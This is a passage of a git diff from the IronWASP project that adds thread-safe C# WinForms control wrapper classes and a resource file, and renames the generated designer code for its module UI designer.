ModButton : Button + { + internal Dictionary EventHandlers = new Dictionary() { { "Click", "" } }; + + delegate void SetText_d(string Text); + public void SetText(string Text) + { + if (this.InvokeRequired) + { + SetText_d STD = new SetText_d(SetText); + this.Invoke(STD, new object[] { Text }); + } + else + { + this.Text = Text; + } + } + + delegate void AddText_d(string Text); + public void AddText(string Text) + { + if (this.InvokeRequired) + { + AddText_d ATD = new AddText_d(AddText); + this.Invoke(ATD, new object[] { Text }); + } + else + { + this.Text = this.Text + Text; + } + } + + delegate void SetEnabled_d(bool Enable); + public void SetEnabled(bool Enable) + { + if (this.InvokeRequired) + { + SetEnabled_d SED = new SetEnabled_d(SetEnabled); + this.Invoke(SED, new object[] { Enable }); + } + else + { + this.Enabled = Enable; + } + } + + delegate void SetVisible_d(bool Visible); + public void SetVisible(bool Visible) + { + if (this.InvokeRequired) + { + SetVisible_d SVD = new SetVisible_d(SetVisible); + this.Invoke(SVD, new object[] { Visible }); + } + else + { + this.Visible = Visible; + } + } + } + + public class ModCheckBox : CheckBox + { + internal Dictionary EventHandlers = new Dictionary() { { "CheckedChanged", "" } }; + + delegate void SetChecked_d(bool Checked); + public void SetChecked(bool Checked) + { + if (this.InvokeRequired) + { + SetChecked_d SCD = new SetChecked_d(SetChecked); + this.Invoke(SCD, new object[] { Checked }); + } + else + { + this.Checked = Checked; + } + } + + delegate void SetText_d(string Text); + public void SetText(string Text) + { + if (this.InvokeRequired) + { + SetText_d STD = new SetText_d(SetText); + this.Invoke(STD, new object[] { Text }); + } + else + { + this.Text = Text; + } + } + + delegate void SetEnabled_d(bool Enable); + public void SetEnabled(bool Enable) + { + if (this.InvokeRequired) + { + SetEnabled_d SED = new SetEnabled_d(SetEnabled); + this.Invoke(SED, new object[] { Enable }); + } + else + { + this.Enabled = Enable; + } + } + + delegate void SetVisible_d(bool Visible); + public void SetVisible(bool Visible) + { + if (this.InvokeRequired) + { + SetVisible_d SVD = new SetVisible_d(SetVisible); + this.Invoke(SVD, new object[] { Visible }); + } + else + { + this.Visible = Visible; + } + } + } + + public class ModRadioButton : RadioButton + { + internal Dictionary EventHandlers = new Dictionary() { { "CheckedChanged", "" } }; + + delegate void SetChecked_d(bool Checked); + public void SetChecked(bool Checked) + { + if (this.InvokeRequired) + { + SetChecked_d SCD = new SetChecked_d(SetChecked); + this.Invoke(SCD, new object[] { Checked }); + } + else + { + this.Checked = Checked; + } + } + + delegate void SetText_d(string Text); + public void SetText(string Text) + { + if (this.InvokeRequired) + { + SetText_d STD = new SetText_d(SetText); + this.Invoke(STD, new object[] { Text }); + } + else + { + this.Text = Text; + } + } + + delegate void SetEnabled_d(bool Enable); + public void SetEnabled(bool Enable) + { + if (this.InvokeRequired) + { + SetEnabled_d SED = new SetEnabled_d(SetEnabled); + this.Invoke(SED, new object[] { Enable }); + } + else + { + this.Enabled = Enable; + } + } + + delegate void SetVisible_d(bool Visible); + public void SetVisible(bool Visible) + { + if (this.InvokeRequired) + { + SetVisible_d SVD = new SetVisible_d(SetVisible); + this.Invoke(SVD, new object[] { Visible }); + } + else + { + this.Visible = Visible; + } + } + } + + public class ModDataGridView : DataGridView + { + internal Dictionary EventHandlers = new Dictionary() { { "CellClick", "" } }; + Dictionary GridMap = new Dictionary(); + public ModDataGridView() + { + this.RowHeadersVisible = false; + this.GridColor = Color.White; + this.BackgroundColor = Color.White; + this.AllowUserToResizeRows = false; + this.AllowUserToAddRows = false; + this.AllowUserToDeleteRows = false; + this.SelectionMode = DataGridViewSelectionMode.FullRowSelect; + this.ColumnHeadersHeightSizeMode = DataGridViewColumnHeadersHeightSizeMode.DisableResizing; + } + + delegate void AddRow_d(object CellsObj); + public void AddRow(object CellsObj) + { + if (this.InvokeRequired) + { + AddRow_d ARD = new AddRow_d(AddRow); + this.Invoke(ARD, new object[] { CellsObj }); + } + else + { + object[] CellsArray = Tools.ToDotNetArray(CellsObj); + if (CellsArray.Length > 0) + { + int GridId = this.Rows.Add(CellsArray); + if (CellsArray.Length > 0) + { + try + { + int ID = Int32.Parse(CellsArray[0].ToString()); + GridMap[ID] = GridId; + } + catch { } + } + } + } + } + + delegate void UpdateRow_d(object CellsObj); + public void UpdateRow(object CellsObj) + { + if (this.InvokeRequired) + { + UpdateRow_d URD = new UpdateRow_d(UpdateRow); + this.Invoke(URD, new object[] { CellsObj }); + } + else + { + object[] CellsArray = Tools.ToDotNetArray(CellsObj); + if(CellsArray.Length == 0 || CellsArray[0] == null) + { + throw new Exception("ID not provided"); + } + + int GridId = -1; + try + { + int ID = Int32.Parse(CellsArray[0].ToString()); + if(GridMap.ContainsKey(ID)) GridId = GridMap[ID]; + }catch{} + if(GridId == -1 || !this.Rows[GridId].Cells[0].Value.ToString().Equals(CellsArray[0].ToString())) + { + foreach(DataGridViewRow Row in this.Rows) + { + if(Row.Cells[0].Value.ToString().Equals(CellsArray[0].ToString())) + { + GridId = Row.Index; + break; + } + } + } + if(GridId == -1) + { + throw new Exception("ID is missing in the Grid"); + } + for(int i=1; i < CellsArray.Length; i++) + { + if (CellsArray[i] != null) + this.Rows[GridId].Cells[i].Value = CellsArray[i]; + } + } + } + + delegate void SetEnabled_d(bool Enable); + public void SetEnabled(bool Enable) + { + if (this.InvokeRequired) + { + SetEnabled_d SED = new SetEnabled_d(SetEnabled); + this.Invoke(SED, new object[] { Enable }); + } + else + { + this.Enabled = Enable; + } + } + + delegate void SetVisible_d(bool Visible); + public void SetVisible(bool Visible) + { + if (this.InvokeRequired) + { + SetVisible_d SVD = new SetVisible_d(SetVisible); + this.Invoke(SVD, new object[] { Visible }); + } + else + { + this.Visible = Visible; + } + } + } + + public class ModPanel : Panel + { + internal Dictionary EventHandlers = new Dictionary() { }; + + delegate void SetEnabled_d(bool Enable); + public void SetEnabled(bool Enable) + { + if (this.InvokeRequired) + { + SetEnabled_d SED = new SetEnabled_d(SetEnabled); + this.Invoke(SED, new object[] { Enable }); + } + else + { + this.Enabled = Enable; + } + } + + delegate void SetVisible_d(bool Visible); + public void SetVisible(bool Visible) + { + if (this.InvokeRequired) + { + SetVisible_d SVD = new SetVisible_d(SetVisible); + this.Invoke(SVD, new object[] { Visible }); + } + else + { + this.Visible = Visible; + } + } + } + + public class ModSplitContainer : SplitContainer + { + internal Dictionary EventHandlers = new Dictionary() { }; + + delegate void SetEnabled_d(bool Enable); + public void SetEnabled(bool Enable) + { + if (this.InvokeRequired) + { + SetEnabled_d SED = new SetEnabled_d(SetEnabled); + this.Invoke(SED, new object[] { Enable }); + } + else + { + this.Enabled = Enable; + } + } + + delegate void SetVisible_d(bool Visible); + public void SetVisible(bool Visible) + { + if (this.InvokeRequired) + { + SetVisible_d SVD = new SetVisible_d(SetVisible); + this.Invoke(SVD, new object[] { Visible }); + } + else + { + this.Visible = Visible; + } + } + } + + public class ModTabControl : TabControl + { + internal Dictionary EventHandlers = new Dictionary() { { "SelectedIndexChanged", "" } }; + + delegate void SetSelectedTab_d(string TabName); + public void SetSelectedTab(string TabName) + { + if (this.InvokeRequired) + { + SetSelectedTab_d SSTD = new SetSelectedTab_d(SetSelectedTab); + this.Invoke(SSTD, new object[] { TabName }); + } + else + { + this.SelectTab(TabName); + } + } + + delegate void SetEnabled_d(bool Enable); + public void SetEnabled(bool Enable) + { + if (this.InvokeRequired) + { + SetEnabled_d SED = new SetEnabled_d(SetEnabled); + this.Invoke(SED, new object[] { Enable }); + } + else + { + this.Enabled = Enable; + } + } + + delegate void SetVisible_d(bool Visible); + public void SetVisible(bool Visible) + { + if (this.InvokeRequired) + { + SetVisible_d SVD = new SetVisible_d(SetVisible); + this.Invoke(SVD, new object[] { Visible }); + } + else + { + this.Visible = Visible; + } + } + } + + public class ModTabPage : TabPage + { + + } + +} diff --git a/Iron/ModUi.resx b/Iron/ModUi.resx new file mode 100644 index 0000000..7080a7d --- /dev/null +++ b/Iron/ModUi.resx @@ -0,0 +1,120 @@ + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + text/microsoft-resx + + + 2.0 + + + System.Resources.ResXResourceReader, System.Windows.Forms, Version=2.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089 + + + System.Resources.ResXResourceWriter, System.Windows.Forms, Version=2.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089 + + \ No newline at end of file diff --git a/IronWASP/ModUiDesigner.Designer.cs b/Iron/ModUiDesigner.Designer.cs similarity index 96% rename from IronWASP/ModUiDesigner.Designer.cs rename to Iron/ModUiDesigner.Designer.cs index 80db073..a9e83b4 100644 --- a/IronWASP/ModUiDesigner.Designer.cs +++ b/Iron/ModUiDesigner.Designer.cs @@ -1,579 +1,579 @@ -// -// Copyright 2011-2013 Lavakumar Kuppan -// -// This file is part of IronWASP -// -// IronWASP is free software: you can redistribute it and/or modify -// it under the terms of the GNU General Public License as published by -// the Free Software Foundation, version 3 of the License. -// -// IronWASP is distributed in the hope that it will be useful, -// but WITHOUT ANY WARRANTY; without even the implied warranty of -// MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the -// GNU General Public License for more details. -// -// You should have received a copy of the GNU General Public License -// along with IronWASP. If not, see http://www.gnu.org/licenses/. -// - -namespace IronWASP -{ - partial class ModUiDesigner - { - /// - /// Required designer variable. - /// - private System.ComponentModel.IContainer components = null; - - /// - /// Clean up any resources being used. - /// - /// true if managed resources should be disposed; otherwise, false. - protected override void Dispose(bool disposing) - { - if (disposing && (components != null)) - { - components.Dispose(); - } - base.Dispose(disposing); - } - - #region Windows Form Designer generated code - - /// - /// Required method for Designer support - do not modify - /// the contents of this method with the code editor. - /// - private void InitializeComponent() - { - System.ComponentModel.ComponentResourceManager resources = new System.ComponentModel.ComponentResourceManager(typeof(ModUiDesigner)); - this.TopMenu = new System.Windows.Forms.MenuStrip(); - this.ProjectToolStripMenuItem = new System.Windows.Forms.ToolStripMenuItem(); - this.NewDesignToolStripMenuItem = new System.Windows.Forms.ToolStripMenuItem(); - this.LoadDesignFromXMLToolStripMenuItem = new System.Windows.Forms.ToolStripMenuItem(); - this.EditToolStripMenuItem = new System.Windows.Forms.ToolStripMenuItem(); - this.DeleteToolStripMenuItem = new System.Windows.Forms.ToolStripMenuItem(); - this.GenerateCodeToolStripMenuItem = new System.Windows.Forms.ToolStripMenuItem(); - this.MainTabs = new System.Windows.Forms.TabControl(); - this.DesignTab = new System.Windows.Forms.TabPage(); - this.BaseSplit = new System.Windows.Forms.SplitContainer(); - this.LeftTabs = new System.Windows.Forms.TabControl(); - this.ToolboxTab = new System.Windows.Forms.TabPage(); - this.PropertiesTab = new System.Windows.Forms.TabPage(); - this.PropertiesSubTabs = new System.Windows.Forms.TabControl(); - this.PropertiesPropertySubTab = new System.Windows.Forms.TabPage(); - this.DataGridColumnAddPanel = new System.Windows.Forms.Panel(); - this.DataGridColumnAddMsgTB = new System.Windows.Forms.TextBox(); - this.label3 = new System.Windows.Forms.Label(); - this.DataGridColumnAddTBRB = new System.Windows.Forms.RadioButton(); - this.DataGridColumnAddCBRB = new System.Windows.Forms.RadioButton(); - this.label2 = new System.Windows.Forms.Label(); - this.DataGridColumnNameAddTB = new System.Windows.Forms.TextBox(); - this.label1 = new System.Windows.Forms.Label(); - this.DataGridColumnAddBtn = new System.Windows.Forms.Button(); - this.PropertiesEventHandlerSubTab = new System.Windows.Forms.TabPage(); - this.EventHandlersGrid = new System.Windows.Forms.DataGridView(); - this.EventName = new System.Windows.Forms.DataGridViewTextBoxColumn(); - this.EventHandler = new System.Windows.Forms.DataGridViewTextBoxColumn(); - this.CodeTab = new System.Windows.Forms.TabPage(); - this.CodeTabs = new System.Windows.Forms.TabControl(); - this.XmlCodeTab = new System.Windows.Forms.TabPage(); - this.XmlOutRTB = new System.Windows.Forms.RichTextBox(); - this.PythonCodeTab = new System.Windows.Forms.TabPage(); - this.PyOutRTB = new System.Windows.Forms.RichTextBox(); - this.RubyCodeTab = new System.Windows.Forms.TabPage(); - this.RbOutRTB = new System.Windows.Forms.RichTextBox(); - this.TopMenu.SuspendLayout(); - this.MainTabs.SuspendLayout(); - this.DesignTab.SuspendLayout(); - this.BaseSplit.Panel1.SuspendLayout(); - this.BaseSplit.SuspendLayout(); - this.LeftTabs.SuspendLayout(); - this.PropertiesTab.SuspendLayout(); - this.PropertiesSubTabs.SuspendLayout(); - this.PropertiesPropertySubTab.SuspendLayout(); - this.DataGridColumnAddPanel.SuspendLayout(); - this.PropertiesEventHandlerSubTab.SuspendLayout(); - ((System.ComponentModel.ISupportInitialize)(this.EventHandlersGrid)).BeginInit(); - this.CodeTab.SuspendLayout(); - this.CodeTabs.SuspendLayout(); - this.XmlCodeTab.SuspendLayout(); - this.PythonCodeTab.SuspendLayout(); - this.RubyCodeTab.SuspendLayout(); - this.SuspendLayout(); - // - // TopMenu - // - this.TopMenu.Items.AddRange(new System.Windows.Forms.ToolStripItem[] { - this.ProjectToolStripMenuItem, - this.EditToolStripMenuItem, - this.GenerateCodeToolStripMenuItem}); - this.TopMenu.Location = new System.Drawing.Point(0, 0); - this.TopMenu.Name = "TopMenu"; - this.TopMenu.Size = new System.Drawing.Size(884, 24); - this.TopMenu.TabIndex = 0; - this.TopMenu.Text = "menuStrip1"; - // - // ProjectToolStripMenuItem - // - this.ProjectToolStripMenuItem.DropDownItems.AddRange(new System.Windows.Forms.ToolStripItem[] { - this.NewDesignToolStripMenuItem, - this.LoadDesignFromXMLToolStripMenuItem}); - this.ProjectToolStripMenuItem.Name = "ProjectToolStripMenuItem"; - this.ProjectToolStripMenuItem.Size = new System.Drawing.Size(56, 20); - this.ProjectToolStripMenuItem.Text = "Project"; - // - // NewDesignToolStripMenuItem - // - this.NewDesignToolStripMenuItem.Name = "NewDesignToolStripMenuItem"; - this.NewDesignToolStripMenuItem.Size = new System.Drawing.Size(195, 22); - this.NewDesignToolStripMenuItem.Text = "New Design"; - this.NewDesignToolStripMenuItem.Click += new System.EventHandler(this.NewDesignToolStripMenuItem_Click); - // - // LoadDesignFromXMLToolStripMenuItem - // - this.LoadDesignFromXMLToolStripMenuItem.Name = "LoadDesignFromXMLToolStripMenuItem"; - this.LoadDesignFromXMLToolStripMenuItem.Size = new System.Drawing.Size(195, 22); - this.LoadDesignFromXMLToolStripMenuItem.Text = "Load Design from XML"; - this.LoadDesignFromXMLToolStripMenuItem.Click += new System.EventHandler(this.LoadDesignFromXMLToolStripMenuItem_Click); - // - // EditToolStripMenuItem - // - this.EditToolStripMenuItem.DropDownItems.AddRange(new System.Windows.Forms.ToolStripItem[] { - this.DeleteToolStripMenuItem}); - this.EditToolStripMenuItem.Name = "EditToolStripMenuItem"; - this.EditToolStripMenuItem.Size = new System.Drawing.Size(39, 20); - this.EditToolStripMenuItem.Text = "Edit"; - // - // DeleteToolStripMenuItem - // - this.DeleteToolStripMenuItem.Name = "DeleteToolStripMenuItem"; - this.DeleteToolStripMenuItem.Size = new System.Drawing.Size(210, 22); - this.DeleteToolStripMenuItem.Text = "Delete Selected Control(s)"; - this.DeleteToolStripMenuItem.Click += new System.EventHandler(this.DeleteToolStripMenuItem_Click); - // - // GenerateCodeToolStripMenuItem - // - this.GenerateCodeToolStripMenuItem.Name = "GenerateCodeToolStripMenuItem"; - this.GenerateCodeToolStripMenuItem.Size = new System.Drawing.Size(97, 20); - this.GenerateCodeToolStripMenuItem.Text = "Generate Code"; - this.GenerateCodeToolStripMenuItem.Click += new System.EventHandler(this.GenerateCodeToolStripMenuItem_Click); - // - // MainTabs - // - this.MainTabs.Controls.Add(this.DesignTab); - this.MainTabs.Controls.Add(this.CodeTab); - this.MainTabs.Dock = System.Windows.Forms.DockStyle.Fill; - this.MainTabs.Location = new System.Drawing.Point(0, 24); - this.MainTabs.Margin = new System.Windows.Forms.Padding(0); - this.MainTabs.Name = "MainTabs"; - this.MainTabs.Padding = new System.Drawing.Point(0, 0); - this.MainTabs.SelectedIndex = 0; - this.MainTabs.Size = new System.Drawing.Size(884, 538); - this.MainTabs.TabIndex = 1; - // - // DesignTab - // - this.DesignTab.Controls.Add(this.BaseSplit); - this.DesignTab.Location = new System.Drawing.Point(4, 22); - this.DesignTab.Margin = new System.Windows.Forms.Padding(0); - this.DesignTab.Name = "DesignTab"; - this.DesignTab.Size = new System.Drawing.Size(876, 512); - this.DesignTab.TabIndex = 0; - this.DesignTab.Text = "Design"; - this.DesignTab.UseVisualStyleBackColor = true; - // - // BaseSplit - // - this.BaseSplit.Dock = System.Windows.Forms.DockStyle.Fill; - this.BaseSplit.Location = new System.Drawing.Point(0, 0); - this.BaseSplit.Margin = new System.Windows.Forms.Padding(0); - this.BaseSplit.Name = "BaseSplit"; - // - // BaseSplit.Panel1 - // - this.BaseSplit.Panel1.Controls.Add(this.LeftTabs); - // - // BaseSplit.Panel2 - // - this.BaseSplit.Panel2.BackColor = System.Drawing.Color.White; - this.BaseSplit.Size = new System.Drawing.Size(876, 512); - this.BaseSplit.SplitterDistance = 179; - this.BaseSplit.TabIndex = 0; - // - // LeftTabs - // - this.LeftTabs.Alignment = System.Windows.Forms.TabAlignment.Left; - this.LeftTabs.Controls.Add(this.ToolboxTab); - this.LeftTabs.Controls.Add(this.PropertiesTab); - this.LeftTabs.Dock = System.Windows.Forms.DockStyle.Fill; - this.LeftTabs.Location = new System.Drawing.Point(0, 0); - this.LeftTabs.Margin = new System.Windows.Forms.Padding(0); - this.LeftTabs.Multiline = true; - this.LeftTabs.Name = "LeftTabs"; - this.LeftTabs.Padding = new System.Drawing.Point(0, 0); - this.LeftTabs.RightToLeft = System.Windows.Forms.RightToLeft.No; - this.LeftTabs.SelectedIndex = 0; - this.LeftTabs.Size = new System.Drawing.Size(179, 512); - this.LeftTabs.TabIndex = 0; - // - // ToolboxTab - // - this.ToolboxTab.Location = new System.Drawing.Point(23, 4); - this.ToolboxTab.Margin = new System.Windows.Forms.Padding(0); - this.ToolboxTab.Name = "ToolboxTab"; - this.ToolboxTab.Size = new System.Drawing.Size(152, 504); - this.ToolboxTab.TabIndex = 0; - this.ToolboxTab.Text = "Toolbox"; - this.ToolboxTab.UseVisualStyleBackColor = true; - // - // PropertiesTab - // - this.PropertiesTab.Controls.Add(this.PropertiesSubTabs); - this.PropertiesTab.Location = new System.Drawing.Point(23, 4); - this.PropertiesTab.Margin = new System.Windows.Forms.Padding(0); - this.PropertiesTab.Name = "PropertiesTab"; - this.PropertiesTab.Size = new System.Drawing.Size(152, 504); - this.PropertiesTab.TabIndex = 1; - this.PropertiesTab.Text = "Properties"; - this.PropertiesTab.UseVisualStyleBackColor = true; - // - // PropertiesSubTabs - // - this.PropertiesSubTabs.Controls.Add(this.PropertiesPropertySubTab); - this.PropertiesSubTabs.Controls.Add(this.PropertiesEventHandlerSubTab); - this.PropertiesSubTabs.Dock = System.Windows.Forms.DockStyle.Fill; - this.PropertiesSubTabs.Location = new System.Drawing.Point(0, 0); - this.PropertiesSubTabs.Margin = new System.Windows.Forms.Padding(0); - this.PropertiesSubTabs.Name = "PropertiesSubTabs"; - this.PropertiesSubTabs.Padding = new System.Drawing.Point(0, 0); - this.PropertiesSubTabs.SelectedIndex = 0; - this.PropertiesSubTabs.Size = new System.Drawing.Size(152, 504); - this.PropertiesSubTabs.TabIndex = 0; - // - // PropertiesPropertySubTab - // - this.PropertiesPropertySubTab.BorderStyle = System.Windows.Forms.BorderStyle.FixedSingle; - this.PropertiesPropertySubTab.Controls.Add(this.DataGridColumnAddPanel); - this.PropertiesPropertySubTab.Location = new System.Drawing.Point(4, 22); - this.PropertiesPropertySubTab.Margin = new System.Windows.Forms.Padding(0); - this.PropertiesPropertySubTab.Name = "PropertiesPropertySubTab"; - this.PropertiesPropertySubTab.Size = new System.Drawing.Size(144, 478); - this.PropertiesPropertySubTab.TabIndex = 0; - this.PropertiesPropertySubTab.Text = "Properties"; - this.PropertiesPropertySubTab.UseVisualStyleBackColor = true; - // - // DataGridColumnAddPanel - // - this.DataGridColumnAddPanel.Anchor = ((System.Windows.Forms.AnchorStyles)(((System.Windows.Forms.AnchorStyles.Bottom | System.Windows.Forms.AnchorStyles.Left) - | System.Windows.Forms.AnchorStyles.Right))); - this.DataGridColumnAddPanel.Controls.Add(this.DataGridColumnAddMsgTB); - this.DataGridColumnAddPanel.Controls.Add(this.label3); - this.DataGridColumnAddPanel.Controls.Add(this.DataGridColumnAddTBRB); - this.DataGridColumnAddPanel.Controls.Add(this.DataGridColumnAddCBRB); - this.DataGridColumnAddPanel.Controls.Add(this.label2); - this.DataGridColumnAddPanel.Controls.Add(this.DataGridColumnNameAddTB); - this.DataGridColumnAddPanel.Controls.Add(this.label1); - this.DataGridColumnAddPanel.Controls.Add(this.DataGridColumnAddBtn); - this.DataGridColumnAddPanel.Location = new System.Drawing.Point(3, 315); - this.DataGridColumnAddPanel.Name = "DataGridColumnAddPanel"; - this.DataGridColumnAddPanel.Size = new System.Drawing.Size(136, 158); - this.DataGridColumnAddPanel.TabIndex = 0; - this.DataGridColumnAddPanel.Visible = false; - // - // DataGridColumnAddMsgTB - // - this.DataGridColumnAddMsgTB.Anchor = ((System.Windows.Forms.AnchorStyles)((((System.Windows.Forms.AnchorStyles.Top | System.Windows.Forms.AnchorStyles.Bottom) - | System.Windows.Forms.AnchorStyles.Left) - | System.Windows.Forms.AnchorStyles.Right))); - this.DataGridColumnAddMsgTB.BorderStyle = System.Windows.Forms.BorderStyle.None; - this.DataGridColumnAddMsgTB.Location = new System.Drawing.Point(3, 99); - this.DataGridColumnAddMsgTB.Multiline = true; - this.DataGridColumnAddMsgTB.Name = "DataGridColumnAddMsgTB"; - this.DataGridColumnAddMsgTB.Size = new System.Drawing.Size(130, 27); - this.DataGridColumnAddMsgTB.TabIndex = 0; - // - // label3 - // - this.label3.AutoSize = true; - this.label3.Location = new System.Drawing.Point(5, 6); - this.label3.Name = "label3"; - this.label3.Size = new System.Drawing.Size(130, 13); - this.label3.TabIndex = 2; - this.label3.Text = "Enter Grid Column Details:"; - // - // DataGridColumnAddTBRB - // - this.DataGridColumnAddTBRB.AutoSize = true; - this.DataGridColumnAddTBRB.Checked = true; - this.DataGridColumnAddTBRB.Location = new System.Drawing.Point(46, 53); - this.DataGridColumnAddTBRB.Name = "DataGridColumnAddTBRB"; - this.DataGridColumnAddTBRB.Size = new System.Drawing.Size(64, 17); - this.DataGridColumnAddTBRB.TabIndex = 0; - this.DataGridColumnAddTBRB.TabStop = true; - this.DataGridColumnAddTBRB.Text = "TextBox"; - this.DataGridColumnAddTBRB.UseVisualStyleBackColor = true; - // - // DataGridColumnAddCBRB - // - this.DataGridColumnAddCBRB.AutoSize = true; - this.DataGridColumnAddCBRB.Location = new System.Drawing.Point(46, 76); - this.DataGridColumnAddCBRB.Name = "DataGridColumnAddCBRB"; - this.DataGridColumnAddCBRB.Size = new System.Drawing.Size(74, 17); - this.DataGridColumnAddCBRB.TabIndex = 1; - this.DataGridColumnAddCBRB.Text = "CheckBox"; - this.DataGridColumnAddCBRB.UseVisualStyleBackColor = true; - // - // label2 - // - this.label2.AutoSize = true; - this.label2.Location = new System.Drawing.Point(6, 54); - this.label2.Name = "label2"; - this.label2.Size = new System.Drawing.Size(34, 13); - this.label2.TabIndex = 0; - this.label2.Text = "Type:"; - // - // DataGridColumnNameAddTB - // - this.DataGridColumnNameAddTB.Anchor = ((System.Windows.Forms.AnchorStyles)(((System.Windows.Forms.AnchorStyles.Top | System.Windows.Forms.AnchorStyles.Left) - | System.Windows.Forms.AnchorStyles.Right))); - this.DataGridColumnNameAddTB.Location = new System.Drawing.Point(46, 27); - this.DataGridColumnNameAddTB.Name = "DataGridColumnNameAddTB"; - this.DataGridColumnNameAddTB.Size = new System.Drawing.Size(87, 20); - this.DataGridColumnNameAddTB.TabIndex = 0; - // - // label1 - // - this.label1.AutoSize = true; - this.label1.Location = new System.Drawing.Point(6, 30); - this.label1.Name = "label1"; - this.label1.Size = new System.Drawing.Size(38, 13); - this.label1.TabIndex = 0; - this.label1.Text = "Name:"; - // - // DataGridColumnAddBtn - // - this.DataGridColumnAddBtn.Anchor = ((System.Windows.Forms.AnchorStyles)(((System.Windows.Forms.AnchorStyles.Bottom | System.Windows.Forms.AnchorStyles.Left) - | System.Windows.Forms.AnchorStyles.Right))); - this.DataGridColumnAddBtn.Location = new System.Drawing.Point(3, 132); - this.DataGridColumnAddBtn.Name = "DataGridColumnAddBtn"; - this.DataGridColumnAddBtn.Size = new System.Drawing.Size(130, 23); - this.DataGridColumnAddBtn.TabIndex = 0; - this.DataGridColumnAddBtn.Text = "Add Column to Grid"; - this.DataGridColumnAddBtn.UseVisualStyleBackColor = true; - this.DataGridColumnAddBtn.Click += new System.EventHandler(this.DataGridColumnAddBtn_Click); - // - // PropertiesEventHandlerSubTab - // - this.PropertiesEventHandlerSubTab.Controls.Add(this.EventHandlersGrid); - this.PropertiesEventHandlerSubTab.Location = new System.Drawing.Point(4, 22); - this.PropertiesEventHandlerSubTab.Margin = new System.Windows.Forms.Padding(0); - this.PropertiesEventHandlerSubTab.Name = "PropertiesEventHandlerSubTab"; - this.PropertiesEventHandlerSubTab.Size = new System.Drawing.Size(144, 478); - this.PropertiesEventHandlerSubTab.TabIndex = 1; - this.PropertiesEventHandlerSubTab.Text = "Event Handlers"; - this.PropertiesEventHandlerSubTab.UseVisualStyleBackColor = true; - // - // EventHandlersGrid - // - this.EventHandlersGrid.AllowUserToAddRows = false; - this.EventHandlersGrid.AllowUserToDeleteRows = false; - this.EventHandlersGrid.AllowUserToResizeRows = false; - this.EventHandlersGrid.BackgroundColor = System.Drawing.Color.White; - this.EventHandlersGrid.BorderStyle = System.Windows.Forms.BorderStyle.None; - this.EventHandlersGrid.ColumnHeadersHeightSizeMode = System.Windows.Forms.DataGridViewColumnHeadersHeightSizeMode.AutoSize; - this.EventHandlersGrid.Columns.AddRange(new System.Windows.Forms.DataGridViewColumn[] { - this.EventName, - this.EventHandler}); - this.EventHandlersGrid.Dock = System.Windows.Forms.DockStyle.Fill; - this.EventHandlersGrid.Location = new System.Drawing.Point(0, 0); - this.EventHandlersGrid.Margin = new System.Windows.Forms.Padding(0); - this.EventHandlersGrid.Name = "EventHandlersGrid"; - this.EventHandlersGrid.RowHeadersVisible = false; - this.EventHandlersGrid.Size = new System.Drawing.Size(144, 478); - this.EventHandlersGrid.TabIndex = 0; - this.EventHandlersGrid.CellValueChanged += new System.Windows.Forms.DataGridViewCellEventHandler(this.EventHandlersGrid_CellValueChanged); - // - // EventName - // - this.EventName.AutoSizeMode = System.Windows.Forms.DataGridViewAutoSizeColumnMode.Fill; - this.EventName.FillWeight = 75F; - this.EventName.HeaderText = "Event"; - this.EventName.Name = "EventName"; - this.EventName.ReadOnly = true; - // - // EventHandler - // - this.EventHandler.AutoSizeMode = System.Windows.Forms.DataGridViewAutoSizeColumnMode.Fill; - this.EventHandler.HeaderText = "EventHandler Method"; - this.EventHandler.Name = "EventHandler"; - // - // CodeTab - // - this.CodeTab.Controls.Add(this.CodeTabs); - this.CodeTab.Location = new System.Drawing.Point(4, 22); - this.CodeTab.Margin = new System.Windows.Forms.Padding(0); - this.CodeTab.Name = "CodeTab"; - this.CodeTab.Size = new System.Drawing.Size(876, 512); - this.CodeTab.TabIndex = 1; - this.CodeTab.Text = "Code"; - this.CodeTab.UseVisualStyleBackColor = true; - // - // CodeTabs - // - this.CodeTabs.Controls.Add(this.XmlCodeTab); - this.CodeTabs.Controls.Add(this.PythonCodeTab); - this.CodeTabs.Controls.Add(this.RubyCodeTab); - this.CodeTabs.Dock = System.Windows.Forms.DockStyle.Fill; - this.CodeTabs.Location = new System.Drawing.Point(0, 0); - this.CodeTabs.Margin = new System.Windows.Forms.Padding(0); - this.CodeTabs.Name = "CodeTabs"; - this.CodeTabs.Padding = new System.Drawing.Point(0, 0); - this.CodeTabs.SelectedIndex = 0; - this.CodeTabs.Size = new System.Drawing.Size(876, 512); - this.CodeTabs.TabIndex = 0; - // - // XmlCodeTab - // - this.XmlCodeTab.Controls.Add(this.XmlOutRTB); - this.XmlCodeTab.Location = new System.Drawing.Point(4, 22); - this.XmlCodeTab.Margin = new System.Windows.Forms.Padding(0); - this.XmlCodeTab.Name = "XmlCodeTab"; - this.XmlCodeTab.Size = new System.Drawing.Size(868, 486); - this.XmlCodeTab.TabIndex = 0; - this.XmlCodeTab.Text = "XML"; - this.XmlCodeTab.UseVisualStyleBackColor = true; - // - // XmlOutRTB - // - this.XmlOutRTB.BorderStyle = System.Windows.Forms.BorderStyle.None; - this.XmlOutRTB.Dock = System.Windows.Forms.DockStyle.Fill; - this.XmlOutRTB.Location = new System.Drawing.Point(0, 0); - this.XmlOutRTB.Margin = new System.Windows.Forms.Padding(0); - this.XmlOutRTB.Name = "XmlOutRTB"; - this.XmlOutRTB.ReadOnly = true; - this.XmlOutRTB.Size = new System.Drawing.Size(868, 486); - this.XmlOutRTB.TabIndex = 0; - this.XmlOutRTB.Text = ""; - // - // PythonCodeTab - // - this.PythonCodeTab.Controls.Add(this.PyOutRTB); - this.PythonCodeTab.Location = new System.Drawing.Point(4, 22); - this.PythonCodeTab.Margin = new System.Windows.Forms.Padding(0); - this.PythonCodeTab.Name = "PythonCodeTab"; - this.PythonCodeTab.Size = new System.Drawing.Size(868, 486); - this.PythonCodeTab.TabIndex = 1; - this.PythonCodeTab.Text = "Python"; - this.PythonCodeTab.UseVisualStyleBackColor = true; - // - // PyOutRTB - // - this.PyOutRTB.BorderStyle = System.Windows.Forms.BorderStyle.None; - this.PyOutRTB.Dock = System.Windows.Forms.DockStyle.Fill; - this.PyOutRTB.Location = new System.Drawing.Point(0, 0); - this.PyOutRTB.Margin = new System.Windows.Forms.Padding(0); - this.PyOutRTB.Name = "PyOutRTB"; - 